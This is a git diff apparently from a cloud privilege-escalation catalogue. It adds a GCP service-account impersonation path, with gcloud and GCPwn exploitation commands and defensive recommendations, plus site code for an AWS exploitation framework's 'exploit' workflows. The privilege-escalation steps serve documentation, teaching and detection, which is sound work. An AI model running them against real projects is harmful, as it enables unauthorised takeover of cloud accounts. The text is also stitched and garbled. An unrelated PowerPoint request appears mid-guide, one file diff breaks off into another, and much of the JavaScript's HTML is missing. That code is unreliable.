+- **[.Codex/AGENTS.md](.Codex/AGENTS.md)**: Anti-patterns, style guide, and contribution-specific guidance
+- **[CONTRIBUTING.md](CONTRIBUTING.md)**: Contribution guidelines with examples
+- **[README.md](README.md)**: Project overview and setup instructions
+- **scripts/validate-schema.py**: Validation logic (comprehensive checks)
+- **scripts/generate-json.py**: YAML to JSON converter
+- **.github/workflows/validate.yml**: PR validation workflow
+- **.github/workflows/deploy.yml**: GitHub Pages deployment workflow
+
+## Research Sources
+
+When adding new paths, cite these primary sources where applicable:
+- **Rhino Security Labs**: Original 21 methods by Spencer Gietzen
+- **Bishop Fox**: IAM Vulnerable project, additional 10 paths
+- **nccgroup**: PMapper implementation details
+- **AWS Documentation**: Official IAM permission docs
+
+## GitHub Actions Workflows
+
+### Validate Workflow (`.github/workflows/validate.yml`)
+- Triggers on: PRs and pushes to main affecting YAML files
+- Runs: `python scripts/validate-schema.py data/paths/`
+- Comments on PR: Success/failure status
+
+### Deploy Workflow (`.github/workflows/deploy.yml`)
+- Triggers on: Pushes to main branch
+- Steps:
+ 1. Validate all YAML files
+ 2. Generate JSON from YAML
+ 3. Update website JavaScript to use JSON
+ 4. Deploy to GitHub Pages
+- Permissions: Requires `pages: write` and `id-token: write`
+
+## Code Style
+
+### Python Scripts
+- Use Python 3.11+ features
+- Follow PEP 8
+- Include docstrings for functions
+- Use type hints where helpful
+- Provide clear error messages
+
+### YAML Files
+- Use 2-space indentation
+- Multi-line strings use `|` for description and recommendation
+- List items use `-` prefix
+- Strings with special characters should be quoted
+
+### Website Code
+- Vanilla JavaScript (no frameworks)
+- Responsive CSS (mobile-first)
+- Accessible HTML (semantic tags, ARIA labels)
+- Progressive enhancement
+
+## Imported Claude Cowork project instructions
+
+I want to create a powerpoint presentation template using the same theme and assets from a webpage that i created. So far I have created a hero-generator and a slide generator in that project as just simple html files that re-use as many of the website canvas elements, but i'd like to essentially create a powerpoint deck that has these elemenst built into the theme/design. mainly the background and the font part, but maybe a static footer graphic.
diff --git a/Makefile b/Makefile
index 884f0928..1917acc5 100644
--- a/Makefile
+++ b/Makefile
@@ -1,4 +1,4 @@
-.PHONY: help preview validate validate-strict generate generate-stubs generate-heroes install clean
+.PHONY: help preview validate validate-strict generate generate-labs generate-pathrunner generate-stubs generate-heroes install clean
help:
@echo "pathfinding.cloud — common targets"
@@ -7,6 +7,8 @@ help:
@echo " make validate Validate all YAML files (drafts allowed)"
@echo " make validate-strict Validate all YAML files (no drafts)"
@echo " make generate Regenerate docs/paths.json from YAML"
+ @echo " make generate-labs Regenerate docs/labs.json from pathfinding-labs"
+ @echo " make generate-pathrunner Regenerate docs/pathrunner.json from pathrunner"
@echo " make generate-stubs Regenerate per-lab HTML stubs"
@echo " make generate-heroes Regenerate per-lab hero images (incremental)"
@echo " make generate-heroes-force Regenerate all hero images unconditionally"
@@ -24,6 +26,13 @@ validate-strict:
generate:
python scripts/generate-json.py
+generate-labs:
+ python scripts/generate-labs-json.py
+
+# Reads docs/labs.json for module->lab deep links, so run `make generate-labs` first.
+generate-pathrunner:
+ python scripts/generate-pathrunner-json.py
+
generate-stubs:
python scripts/generate-lab-stubs.py
diff --git a/SCHEMA.md b/SCHEMA.md
index 7ff31e8f..737fef4a 100644
--- a/SCHEMA.md
+++ b/SCHEMA.md
@@ -160,6 +160,7 @@ Supported tools:
- `pathrunner` - Pathrunner
- `gcloud` - Google Cloud CLI
- `azurecli` - Azure CLI
+- `gcpwn` - GCPwn (NetSPI GCP pentesting framework)
Each step object contains:
- `step` (integer, required): Step number (1, 2, 3, etc.)
diff --git a/data/paths/gcp/iam/gcp-iam-001.yaml b/data/paths/gcp/iam/gcp-iam-001.yaml
new file mode 100644
index 00000000..3c77f38d
--- /dev/null
+++ b/data/paths/gcp/iam/gcp-iam-001.yaml
@@ -0,0 +1,164 @@
+id: gcp-iam-001
+name: iam.serviceAccounts.getAccessToken
+category: principal-access
+services:
+- iam
+permissions:
+ required:
+ - permission: iam.serviceAccounts.getAccessToken
+ resourceConstraints: Must be granted on the target service account, either via a custom role scoped to this permission or the predefined `roles/iam.serviceAccountTokenCreator` role
+ additional:
+ - permission: resourcemanager.projects.get
+ resourceConstraints: Helpful for confirming the current project context and the caller's own lack of project-level roles
+ - permission: iam.serviceAccounts.list
+ resourceConstraints: Helpful for enumerating service accounts in the project to identify impersonation targets
+ - permission: iam.serviceAccounts.getIamPolicy
+ resourceConstraints: Useful for inspecting IAM policy bindings on candidate service accounts to find impersonation grants (`roles/iam.serviceAccountTokenCreator` or a custom role granting `iam.serviceAccounts.getAccessToken`)
+description: A principal holding `iam.serviceAccounts.getAccessToken` on a service account can call the IAM Credentials API's `generateAccessToken` method to mint a short-lived OAuth 2.0 access token that authenticates as that service account, without ever needing a long-lived key. `gcloud` wraps this in the `--impersonate-service-account` flag. If the target service account holds a privileged project role, the attacker inherits all of its permissions for the lifetime of the minted token, entirely through IAM bindings and with no credential theft or code execution involved.
+prerequisites:
+ admin:
+ - A target service account must exist that the attacker's principal holds `iam.serviceAccounts.getAccessToken` on, whether via a custom role or the predefined `roles/iam.serviceAccountTokenCreator` role
+ - The target service account must hold administrative permissions at the project level (e.g., `roles/owner`, `roles/editor`, or an equivalent custom role)
+ lateral:
+ - A target service account must exist that the attacker's principal holds `iam.serviceAccounts.getAccessToken` on, whether via a custom role or the predefined `roles/iam.serviceAccountTokenCreator` role
+exploitationSteps:
+ gcloud:
+ - step: 1
+ command: |
+ gcloud iam service-accounts list --format='value(email)'
+ description: Enumerate service accounts in the project to identify potential impersonation targets
+ - step: 2
+ command: |
+ gcloud iam service-accounts get-iam-policy TARGET_SA@PROJECT_ID.iam.gserviceaccount.com
+ description: Inspect the IAM policy on a candidate service account to confirm the attacker's principal holds `iam.serviceAccounts.getAccessToken` on it (via a custom role or `roles/iam.serviceAccountTokenCreator`)
+ - step: 3
+ command: |
+ gcloud projects get-iam-policy PROJECT_ID \
+ --flatten="bindings[].members" \
+ --filter="bindings.members:TARGET_SA@PROJECT_ID.iam.gserviceaccount.com" \
+ --format="table(bindings.role)"
+ description: Confirm the target service account's own project-level role to determine the value of impersonating it
+ - step: 4
+ command: |
+ gcloud auth print-access-token \
+ --impersonate-service-account=TARGET_SA@PROJECT_ID.iam.gserviceaccount.com
+ description: Mint a short-lived OAuth access token that authenticates as the target service account
+ - step: 5
+ command: |
+ gcloud PROJECT_RESOURCE_COMMAND \
+ --impersonate-service-account=TARGET_SA@PROJECT_ID.iam.gserviceaccount.com
+ description: Run any `gcloud` command with `--impersonate-service-account` set to the target account to operate with its inherited project permissions
+ gcpwn:
+ - step: 1
+ command: |
+ modules run enum_gcp --iam
+ description: Enumerate IAM bindings across the project (GCPwn's IAM enumeration module surfaces `iam.serviceAccounts.getAccessToken` grants as it maps out privilege escalation edges)
+ - step: 2
+ command: |
+ modules run exploit_generate_access_token \
+ --target-sa projects/PROJECT_ID/serviceAccounts/TARGET_SA@PROJECT_ID.iam.gserviceaccount.com
+ description: Use GCPwn's single-permission-movement exploit module to mint a short-lived OAuth 2.0 access token for the target service account and pivot the active session's credentials to it
+limitations: |
+ This path provides administrative access only if the target service account holds `roles/owner`, `roles/editor`, or an equivalent administrative custom role at the project level. If the target only has narrowly scoped permissions, the attacker inherits only those, though even limited additional access may enable further multi-hop escalation. Note that `roles/editor` and `roles/viewer` deliberately exclude Secret Manager payload access (`secretmanager.versions.access`), so reaching secrets specifically requires the target to also hold an explicit `roles/secretmanager.secretAccessor` grant.
+recommendation: |
+ Service account impersonation is Google's recommended alternative to long-lived service account keys, but granting `iam.serviceAccounts.getAccessToken` across a privilege boundary turns that best practice into a privilege escalation path.
+
+ - **Avoid granting impersonation rights across privilege boundaries** - Never grant `iam.serviceAccounts.getAccessToken` (whether via the predefined `roles/iam.serviceAccountTokenCreator` role or a custom role bundling just this permission) to a principal that should not otherwise hold the target service account's permissions.
+ - **Scope impersonation grants with IAM Conditions** - Restrict bindings with time-bound or attribute-based conditions rather than granting unconditional, standing access:
+
+ ```json
+ {
+ "role": "roles/iam.serviceAccountTokenCreator",
+ "members": ["serviceAccount:automation-sa@PROJECT_ID.iam.gserviceaccount.com"],
+ "condition": {
+ "title": "time-bound-impersonation",
+ "expression": "request.time < timestamp(\"2026-12-31T00:00:00Z\")"
+ }
+ }
+ ```
+
+ - **Apply least privilege to service accounts that can be impersonated** - Replace broad primitive roles like `roles/editor` or `roles/owner` with narrowly scoped predefined or custom roles.
+ - **Prefer Workload Identity Federation** - Where possible, grant external workloads direct, narrowly-scoped access instead of chaining through an intermediate impersonatable service account.
+ - Monitor Cloud Audit Logs for `iam.googleapis.com/GenerateAccessToken` events where the impersonated service account holds `roles/editor` or `roles/owner`.
+ - Monitor for `iam.googleapis.com/SetIamPolicy` events that add new `iam.serviceAccounts.getAccessToken` grants (via `roles/iam.serviceAccountTokenCreator` or a custom role) to service accounts holding elevated project roles.
+ - Investigate `GenerateAccessToken` or `SignJwt` events followed within seconds by API calls the caller's own identity does not otherwise have access to.
+ - Regularly audit IAM bindings with Policy Analyzer / IAM Recommender to identify service accounts with unused or overly broad impersonation grants.
+discoveryAttribution:
+ firstDocumented:
+ author: Spencer Gietzen
+ organization: Rhino Security Labs
+ date: 2020
+ link: https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/
+references:
+- title: Privilege Escalation in Google Cloud Platform - Part 1 (IAM) - Rhino Security Labs
+ url: https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/
+- title: RhinoSecurityLabs/GCP-IAM-Privilege-Escalation - iam.serviceAccounts.getAccessToken exploit script
+ url: https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py
+- title: GCP - IAM Privesc - HackTricks Cloud
+ url: https://cloud.hacktricks.wiki/en/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.html
+- title: 'Google Cloud: Manage short-lived service account credentials'
+ url: https://cloud.google.com/iam/docs/create-short-lived-credentials-direct
+- title: 'MITRE ATT&CK T1550.001: Use Alternate Authentication Material - Application Access Token'
+ url: https://attack.mitre.org/techniques/T1550/001/
+detectionTools:
+ prowler: https://github.com/prowler-cloud/prowler/blob/master/prowler/providers/gcp/services/iam/iam_no_service_roles_at_project_level/iam_no_service_roles_at_project_level.py#L19-L22
+ gcp-scanner: https://github.com/google/gcp_scanner/blob/main/src/gcp_scanner/scanner.py#L305-L356
+learningEnvironments:
+ pathfinding-labs:
+ type: open-source
+ githubLink: https://github.com/DataDog/pathfinding-labs
+ scenario: modules/scenarios/gcp/single-account/privesc-one-hop/to-admin/gcp-iam-001-iam-serviceaccountsgetaccesstoken
+ description: "Deploy Terraform into your own GCP project to practice this attack path: a service account holding `iam.serviceAccounts.getAccessToken` on a second, privileged service account impersonates it to inherit its project-level `roles/editor` and Secret Manager access."
+ gcpgoat:
+ type: open-source
+ githubLink: https://github.com/ine-labs/GCPGoat
+ scenario: Privilege Escalation Using Service Account Impersonation
+ description: "A deliberately vulnerable GCP infrastructure deployed via Terraform into your own GCP account. Its privilege escalation module has an attacker-controlled service account holding `roles/iam.serviceAccountTokenCreator` impersonate the `default-compute-engine` service account, inheriting its project-level `roles/editor` access."
+attackVisualization:
+ nodes:
+ - id: start
+ label: Starting Service Account
+ type: principal
+ description: The attacker's starting service account. It holds no project-level roles of its own, but has been granted `iam.serviceAccounts.getAccessToken` on a second, privileged service account, either via the predefined `roles/iam.serviceAccountTokenCreator` role or a custom role scoped to just this permission.
+ - id: target_sa
+ label: Target Service Account
+ type: principal
+ description: The privileged service account being impersonated. What the attacker actually gains depends entirely on what this service account holds at the time of the attack, since impersonation inherits its permissions rather than granting any fixed set.
+ - id: admin
+ label: Effective Administrator
+ type: outcome
+ color: '#99ff99'
+ description: The target service account holds `roles/owner`, `roles/editor`, or an equivalent administrative custom role at the project level. Impersonating it grants the attacker administrative control over the project. Note that `roles/editor` alone does not include Secret Manager payload access (`secretmanager.versions.access`), so reaching a specific secret's value also requires the target to hold an explicit `roles/secretmanager.secretAccessor` grant on that secret.
+ - id: limited_access
+ label: Limited Additional Access
+ type: outcome
+ color: '#ffeb99'
+ description: The target service account holds narrower, non-administrative permissions, such as access to a specific resource or service. Impersonating it grants only that scoped access, which may still enable further lateral movement or multi-hop escalation.
+ - id: no_access
+ label: No Additional Access
+ type: outcome
+ color: '#cccccc'
+ description: The target service account holds minimal or no meaningful permissions beyond what the attacker's starting principal already had, so impersonating it provides no material benefit.
+ edges:
+ - from: start
+ to: target_sa
+ label: iam.serviceAccounts.getAccessToken
+ description: The attacker calls the IAM Credentials API's `generateAccessToken` method, wrapped by `gcloud auth print-access-token --impersonate-service-account=...`, to mint a short-lived OAuth 2.0 access token that authenticates as the target service account.
+ - from: target_sa
+ to: admin
+ label: If target holds roles/editor or roles/owner
+ branch: A
+ condition: admin
+ description: If the target service account holds `roles/owner`, `roles/editor`, or an equivalent administrative custom role, the attacker inherits effective administrative control over the project for the lifetime of the minted token.
+ - from: target_sa
+ to: limited_access
+ label: If target holds narrower permissions
+ branch: B
+ condition: some_permissions
+ description: If the target service account holds only narrowly scoped permissions, such as access to a specific secret or resource, the attacker inherits that limited access.
+ - from: target_sa
+ to: no_access
+ label: If target holds minimal permissions
+ branch: C
+ condition: no_permissions
+ description: If the target service account has no meaningful permissions beyond the attacker's own, impersonating it provides no additional access.
diff --git a/docs/404.html b/docs/404.html
index 54538ff5..9563a6fd 100644
--- a/docs/404.html
+++ b/docs/404.html
@@ -31,6 +31,9 @@
} else if (pathname.startsWith('/labs/')) {
redirect = window.location.origin + '/labs/';
sessionStorage.setItem('redirectPath', pathname);
+ } else if (pathname.startsWith('/pathrunner/')) {
+ redirect = window.location.origin + '/pathrunner/';
+ sessionStorage.setItem('redirectPath', pathname);
} else {
// Otherwise redirect to root
redirect = window.location.origin + '/';
diff --git a/docs/dev-server.py b/docs/dev-server.py
index 13e07247..7ae9c9c4 100755
--- a/docs/dev-server.py
+++ b/docs/dev-server.py
@@ -8,6 +8,7 @@
import http.server
import socketserver
import os
+import re
from urllib.parse import urlparse
DEFAULT_PORT = 8888
@@ -15,14 +16,23 @@
class SPAHTTPRequestHandler(http.server.SimpleHTTPRequestHandler):
"""HTTP request handler with SPA support."""
+ # Ensure media types Python's mimetypes module may not know are served with
+ # the right Content-Type (so
A modular AWS privilege escalation exploitation framework - a Metasploit-style REPL, a scriptable CLI, interchangeable payloads, and built-in attacker infrastructure. This is the command, module, and payload reference, generated directly from the Pathrunner source.
` : ''}`;
+ // Non-linkable items (e.g. a compatible payload with no resolved page)
+ // render as a plain, non-clickable card.
+ if (!it.href) return `
`;
+}
+
+// A module's compatible payload as a card (same component as the /payloads page).
+// Resolved payloads (with a slug) link to their payload page; unresolved ones
+// render as a static card showing the payload's description.
+function moduleCompatPayloadItem(p) {
+ if (p.slug) {
+ return {
+ href: `/pathrunner/payloads/${p.slug}`,
+ name: p.qualifiedName || p.name,
+ sub: (p.tags || []).map((t) => `${escapeHtml(t)}`).join(''),
+ };
+ }
+ return { href: null, name: p.name, sub: escapeHtml(p.description || '') };
+}
+
+// Wrap a section's content in a labs-style card so nothing sits bare on the page
+// background. An optional title renders as the panel heading.
+function panel(title, bodyHtml) {
+ return `${title ? `
${escapeHtml(title)}
` : ''}${bodyHtml}`;
+}
+
+// Render one cliStep (e.g. "pathrunner set ROLE_ARN arn:aws:...") as a single
+// syntax-highlighted terminal line. The leading "$" prompt is presentational
+// only — it is never part of the copied text. Highlighting is intentionally
+// simple: de-emphasize the invariant `pathrunner` binary so the verb, option
+// names, and values the reader actually cares about stand out.
+function cliStepLine(step) {
+ const tokens = String(step).trim().split(/\s+/);
+ const bin = tokens[0] || ''; // "pathrunner"
+ const verb = tokens[1] || ''; // use | show | set | exploit
+ const rest = tokens.slice(2);
+ let restHtml = '';
+ if (verb === 'set' && rest.length) {
+ // "set NAME value..." — colour the option name distinctly from its value.
+ const optName = rest[0];
+ const optValue = rest.slice(1).join(' ');
+ restHtml = `${escapeHtml(optName)}`;
+ if (optValue) restHtml += ` ${escapeHtml(optValue)}`;
+ } else if (rest.length) {
+ restHtml = `${escapeHtml(rest.join(' '))}`;
+ }
+ const isExploit = verb === 'exploit';
+ const verbHtml = verb ? ` ${escapeHtml(verb)}` : '';
+ return `` +
+ `$ ` +
+ `${escapeHtml(bin)}${verbHtml}` +
+ (restHtml ? ` ${restHtml}` : '') +
+ (isExploit ? ` # runs the attack` : '') +
+ ``;
+}
+
+// Build the copy-pastable CLI workflow block from a module's cliSteps: the exact
+// one-shot commands (with mock values filled in and a payload pre-selected) that
+// reproduce the module end-to-end, ending in `pathrunner exploit`. The in-page
+// demo GIF stops one step short of exploit, so this block is the authoritative
+// "and then actually run it" reference.
+function cliWorkflowBlock(mod) {
+ const steps = mod.cliSteps || [];
+ if (!steps.length) return '';
+ // Join with no separator: each line is a display:block span, so a literal
+ // newline between them inside
would render as an extra blank line.
+ const linesHtml = steps.map(cliStepLine).join('');
+ const raw = steps.join('\n');
+ return `
+
+
${linesHtml}
+
Mock values are placeholders — swap in your target's real ARNs. The demo above stops before pathrunner exploit.
+
`;
+}
+
+// Copy a CLI block's raw commands (newline-joined, no "$" prompts) to the
+// clipboard, with a textarea fallback for browsers without the async API.
+function prCopyCli(button) {
+ const text = button.getAttribute('data-cli') || '';
+ const flash = () => {
+ const original = button.textContent;
+ button.textContent = 'Copied';
+ button.classList.add('pr-cli-copied');
+ setTimeout(() => {
+ button.textContent = original;
+ button.classList.remove('pr-cli-copied');
+ }, 1500);
+ };
+ const fallback = () => {
+ const ta = document.createElement('textarea');
+ ta.value = text;
+ ta.style.position = 'fixed';
+ ta.style.opacity = '0';
+ document.body.appendChild(ta);
+ ta.select();
+ try { document.execCommand('copy'); flash(); } catch (_) { /* no-op */ }
+ document.body.removeChild(ta);
+ };
+ if (navigator.clipboard && navigator.clipboard.writeText) {
+ navigator.clipboard.writeText(text).then(flash).catch(fallback);
+ } else {
+ fallback();
+ }
+}
+window.prCopyCli = prCopyCli;
+
+function renderModuleDetail(mod) {
+ const id = mod.id || '';
+ let html = breadcrumb('/pathrunner/modules', 'Modules', id);
+ html += '
';
+
+ // ── Overview panel: identity, metadata, and the cross-reference links ──
+ // (grouped and well-spaced so the links are never crowded by a table).
+ const pathHref = mod.pathfindingCloudUrl || `/paths/${id}`;
+ let xrefs = `Path definition → /paths/${escapeHtml(id)}`;
+ if (mod.labSlug) {
+ xrefs += `Practice lab → /labs/${escapeHtml(mod.labSlug)}`;
+ }
+
+ const services = (mod.services || []).join(', ');
+ const aliases = (mod.aliases || []).map((a) => `${escapeHtml(a)}`).join(', ');
+ const metaItem = (label, value) => value ? `
';
+ }
+ html += `${overview}`;
+
+ if (p.description) html += panel('Description', renderText(p.description));
+ if (p.options && p.options.length) html += panel('Options', optionsTable(p.options));
+ html += '
';
+ return html;
+}
+
+// ── Getting Started (authored as /pathrunner/getting-started.md, PR-editable) ──
+async function showGettingStarted() {
+ currentRoute = { view: 'getting-started' };
+ document.title = 'Pathrunner Getting Started - pathfinding.cloud';
+ showDetailView('
Could not load the guide (${escapeHtml(err.message)}).
`);
+ return;
+ }
+ showDetailView(renderGuide(markdown));
+ window.scrollTo(0, 0);
+ if (window.sidebarMarkActive) window.sidebarMarkActive();
+}
+
+// Render the guide: the leading `# Title` + intro become a hero panel, and each
+// `## Section` becomes its own panel -- consistent with the rest of the section.
+function renderGuide(md) {
+ const normalized = md.replace(/\r\n/g, '\n');
+ const parts = normalized.split(/\n(?=## )/);
+ const intro = parts.shift() || '';
+
+ let html = breadcrumb('/pathrunner/', 'Pathrunner', 'Getting Started');
+ html += '
${introBody ? renderMarkdownBlocks(introBody) : ''}`;
+
+ for (const part of parts) {
+ const match = part.match(/^##\s+(.+)\n?([\s\S]*)$/);
+ const heading = match ? match[1] : '';
+ const body = match ? match[2] : part;
+ html += `
${escapeHtml(heading)}
${renderMarkdownBlocks(body)}`;
+ }
+
+ html += '
';
+ return html;
+}
+
+// Compact block-level Markdown renderer: fenced code, h3/h4, ordered/unordered
+// lists, horizontal rules, and paragraphs. Inline formatting via renderInlineMd.
+function renderMarkdownBlocks(md) {
+ const lines = md.replace(/\r\n/g, '\n').split('\n');
+ let html = '';
+ let list = null; // { type: 'ul' | 'ol', items: [] }
+ const flushList = () => {
+ if (!list) return;
+ html += `<${list.type}>` + list.items.map((it) => `
${renderInlineMd(it)}
`).join('') + `${list.type}>`;
+ list = null;
+ };
+
+ let i = 0;
+ while (i < lines.length) {
+ const line = lines[i];
+
+ if (/^\s*```/.test(line)) { // fenced code block
+ flushList();
+ i++;
+ const code = [];
+ while (i < lines.length && !/^\s*```/.test(lines[i])) { code.push(lines[i]); i++; }
+ i++; // consume closing fence
+ html += `
${escapeHtml(code.join('\n'))}
`;
+ continue;
+ }
+
+ const heading = line.match(/^(#{1,4})\s+(.*)$/);
+ if (heading) { flushList(); const level = heading[1].length; html += `${renderInlineMd(heading[2])}`; i++; continue; }
+
+ if (/^\s*---+\s*$/.test(line)) { flushList(); html += ''; i++; continue; }
+
+ const ul = line.match(/^\s*[-*]\s+(.*)$/);
+ if (ul) { if (!list || list.type !== 'ul') { flushList(); list = { type: 'ul', items: [] }; } list.items.push(ul[1]); i++; continue; }
+
+ const ol = line.match(/^\s*\d+\.\s+(.*)$/);
+ if (ol) { if (!list || list.type !== 'ol') { flushList(); list = { type: 'ol', items: [] }; } list.items.push(ol[1]); i++; continue; }
+
+ if (line.trim() === '') { flushList(); i++; continue; }
+
+ // Paragraph: gather consecutive lines until a blank line or block start.
+ flushList();
+ const para = [line];
+ i++;
+ while (i < lines.length && lines[i].trim() !== '' &&
+ !/^(#{1,4}\s|\s*```|\s*[-*]\s|\s*\d+\.\s|\s*---+\s*$)/.test(lines[i])) {
+ para.push(lines[i]); i++;
+ }
+ html += `
${renderInlineMd(para.join(' '))}
`;
+ }
+ flushList();
+ return html;
+}
+
+// Inline Markdown: `code`, [text](url) (internal links route via the SPA), **bold**,
+// and *italic*. Everything is HTML-escaped first.
+function renderInlineMd(text) {
+ let t = escapeHtml(text);
+ t = t.replace(/`([^`]+)`/g, (m, code) => `${code}`);
+ t = t.replace(/\[([^\]]+)\]\(([^)]+)\)/g, (m, label, url) => {
+ const isExternal = /^https?:\/\//.test(url);
+ const safeUrl = url.replace(/"/g, '"');
+ if (isExternal) return `${label}`;
+ return `${label}`;
+ });
+ t = t.replace(/\*\*([^*]+)\*\*/g, '$1');
+ t = t.replace(/(^|[^*])\*([^*\s][^*]*)\*(?!\*)/g, '$1$2');
+ return t;
+}
+
+// ── Boot ──────────────────────────────────────────────────────────────────
+document.addEventListener('DOMContentLoaded', () => {
+ initTheme();
+ initMobileMenu();
+ const themeToggle = document.getElementById('theme-toggle');
+ if (themeToggle) themeToggle.addEventListener('click', toggleTheme);
+ loadPathrunner();
+});
diff --git a/docs/js/sidebar.js b/docs/js/sidebar.js
index 85e6bba0..1f95fda1 100644
--- a/docs/js/sidebar.js
+++ b/docs/js/sidebar.js
@@ -35,6 +35,7 @@
// Restore group states (paths collapsed by default, labs expanded by default)
restoreGroup('paths', false);
restoreGroup('labs', true);
+ restoreGroup('pathrunner', true);
// Mark the active nav item
markActive();
diff --git a/docs/labs/ai-chatbot-lambda-pivot/index.html b/docs/labs/ai-chatbot-lambda-pivot/index.html
index be3a63d0..6e859a1f 100644
--- a/docs/labs/ai-chatbot-lambda-pivot/index.html
+++ b/docs/labs/ai-chatbot-lambda-pivot/index.html
@@ -91,6 +91,7 @@
Labs
+ Pathrunner